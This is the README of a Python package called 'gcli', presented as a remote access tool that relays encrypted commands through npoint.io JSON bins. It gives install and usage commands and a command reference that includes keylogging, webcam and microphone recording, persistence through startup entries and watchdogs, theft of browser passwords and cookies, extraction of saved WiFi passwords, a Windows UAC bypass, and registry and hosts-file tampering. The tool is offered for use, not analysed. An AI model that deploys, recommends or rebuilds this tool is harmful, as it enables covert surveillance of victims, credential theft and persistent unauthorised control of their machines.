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gcli — Remote Access Tool via npoint.io

Encrypted command relay over npoint.io JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.

┌──────────┐     commands     ┌─────────────┐     commands     ┌──────────┐
│ gcli ssh │ ───────────────> │ npoint.io   │ ───────────────> │gcli host │
│ (client) │ <─────────────── │ (JSON bin)  │ <─────────────── │ (daemon) │
└──────────┘     results      └─────────────┘     results      └──────────┘

Install

pip install gcli-control

Quick Start

Host (remote machine):

gcli host --password MySecret123
gcli host --password MySecret123 --foreground  # debug mode

Client (your machine):

gcli ssh --password MySecret123

Stop host:

gcli stop

Security

  • AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
  • zlib compression before encryption (60-80% payload reduction)
  • PBKDF2 key caching (~150ms saved per operation)
  • Password never leaves your machine — only encrypted payloads
  • Built-in tamper detection (GCM authentication tag)
  • Persistent HTTPS connection reuse (reduced TLS handshake overhead)

Command Reference

Core Commands

Command Description
Any text Execute shell command on remote host
:help Show available commands
:info Remote system info (hostname, OS, user, IP)
:ping Ping remote host (show latency)
:upload <local> <remote> Upload file to remote host
:download <remote> <local> Download file from remote host
:timeout <seconds> Set exec timeout
:history Command history

File Operations

Command Description
:ls [path] List directory
:tree [path] [depth] Directory tree
:mkdir <path> Create directory
:rm <path> Delete file
:find <pattern> Find files by glob
:stat <path> File info

Process & Monitoring

Command Description
:ps [limit] List processes
:kill <pid> Kill process
:uptime Remote uptime
:cpu CPU usage
:mem Memory usage
:disk [path] Disk usage
:top [limit] Top processes by CPU

Clipboard & Network

Command Description
:clipget Get remote clipboard
:clipset <text> Set remote clipboard
:clipclear Clear clipboard
:dns <host> DNS lookup
:portcheck <host> <port> Check port

Aliases & Scripts

Command Description
:alias <n> <cmd> Create alias
:aliases List aliases
:script <c1; c2> Run script (semicolons)

Security

Command Description
:audit View audit log
:threat <cmd> Check threat level
:lock Lock session
:unlock Unlock session

Advanced System

Command Description
:netstat Active network connections
:services [list|start|stop] <name> Manage services
:screenshot Capture remote screen
:history [n] Remote shell history
:envset <K> <V> Set env variable on host
:grep <pattern> [path] [ext] Search files
:partitions Disk partitions
:whoami Remote user info

Automation

Command Description
:bulk <c1; c2> Bulk execute commands
:repeat <cmd> <n> Repeat command N times
:cron List scheduled tasks
:cron add <name> <cmd> Add scheduled task
:cron rm <name> Remove scheduled task
:snapshot Full env snapshot
:waitport <host> <port> Wait for port to open

Forensics

Command Description
:hash <path> [algo] File hash (md5/sha1/sha256/all)
:integrity <create|verify> [path] File integrity baseline
:recent [hours] Recently modified files
:portprocess <port> Find process by port
:usb List USB devices
:suspicious Flag suspicious processes
:openfiles <pid> List open files for process
:envaudit Audit env for secrets
:startup List startup programs

Transfer

Command Description
:verify <path> <sha256> Verify file integrity
:diff <a> <b> Diff two files
:split <path> [size] Split file into pieces
:merge <pattern> <out> Merge split files

Webcam & Audio

Command Description
:camlist List cameras
:camcapture [id] Capture photo
:camrecord [id] [sec] Record video
:caminfo [id] Camera info
:audiodevices List microphones
:audiorecord [sec] [dev] Record audio
:audioinfo Audio system info
:audiolevel Current mic level

Keylogger

Command Description
:keylogstart Start key capture
:keylogstop Stop key capture
:keylogread [n] Read captured keys
:keylogstatus Keylogger status
:keylogsave [path] Save keys to file

Persistence

Command Description
:persist Full persistence status
:persist install [method] Install startup
:persist remove Remove startup
:persist list List persistence
:persist schedule Install scheduled task
:persist unschedule Remove scheduled task
:persist watchdog Install watchdog
:persist unwatchdog Remove watchdog

Browser Data

Command Description
:browsers List detected browsers
:bhistory [browser] [n] Browser history
:bcookies [browser] Browser cookies
:bbookmarks [browser] Browser bookmarks
:bdownloads [browser] Download history
:bpasswords [browser] Saved passwords

WiFi

Command Description
:wifistatus WiFi connection status
:wifiscan Scan nearby networks
:wifilist Saved WiFi profiles
:wificonnect <ssid> [pw] Connect to WiFi
:wifidisconnect Disconnect WiFi
:wifipassword <ssid> Show saved password
:wififorget <ssid> Remove saved profile

Privilege & Elevation

Command Description
:checkadmin Check admin/root status
:elevate Attempt UAC bypass (Windows)
:sudo <cmd> Run command as root
:sysinfo Detailed system info

Network Config

Command Description
:interfaces List network interfaces
:dns <iface> <servers> Set DNS servers
:proxy <h> <p> | off Set/clear proxy
:firewall Firewall status
:fwallow <port> [name] Allow port in firewall
:arp ARP table
:hosts <ip> <host> Add hosts file entry

Registry (Windows)

Command Description
:reglist <key> List values in key
:regread <key> [val] Read registry value
:regwrite <key> <n> <v> Write value
:regdelete <key> <val> Delete value
:regsubkeys <key> List subkeys
:regsearch <query> Search registry

Architecture

gcli/
├── __main__.py        # CLI entry point
├── __init__.py
├── crypto.py          # AES-256-GCM + PBKDF2 key cache + zlib compression
├── npoint.py          # npoint.io API (persistent HTTPS connection pool)
├── protocol.py        # Document structure, race-condition safe append
├── host.py            # Daemon: poll → decrypt → dispatch → encrypt → respond
├── client.py          # SSH REPL with 100+ commands
├── utils.py           # PID management, detach, system_info
├── colors.py          # Cross-platform ANSI colors
├── session.py         # Handshake, heartbeat, key rotation
├── fileops.py         # ls, tree, mkdir, rm, stat, cp, mv, find, du
├── processes.py       # ps, kill, process_info, env, uptime, network_info
├── clipboard.py       # Clipboard sync
├── netutils.py        # HTTP, DNS, port check, traceroute, speed test
├── aliases.py         # Command aliases & scripting
├── security.py        # Rate limiting, audit log, threat detection
├── output.py          # Pagination, syntax highlighting, diff format
├── monitoring.py      # CPU, memory, disk, processes, temperature
├── system.py          # Netstat, services, screenshot, shell history, grep
├── automation.py      # Bulk exec, repeat, cron, watchdog, env snapshot
├── forensics.py       # File hash, integrity, recent files, USB, suspicious processes
├── transfer.py        # Chunked file transfer, checksum, diff, split/merge
├── webcam.py          # Camera capture & recording
├── audio.py           # Microphone recording & levels
├── keylog.py          # Keystroke capture
├── persistence.py     # Startup, scheduled tasks, watchdog
├── browser.py         # Browser history, cookies, bookmarks, passwords
├── wifi.py            # WiFi management (scan, connect, profiles)
├── elevator.py        # Privilege escalation (UAC bypass, sudo)
├── network_config.py  # DNS, proxy, firewall, ARP, hosts
└── registry.py        # Windows registry operations

Requirements

  • Python 3.8+
  • cryptography package (required)
  • psutil (optional — better process/system monitoring)
  • sounddevice (optional — audio recording)
  • opencv-python (optional — webcam capture)
  • pynput (optional — keylogging on Linux/macOS)
  • Internet connection (for npoint.io)

License

MIT

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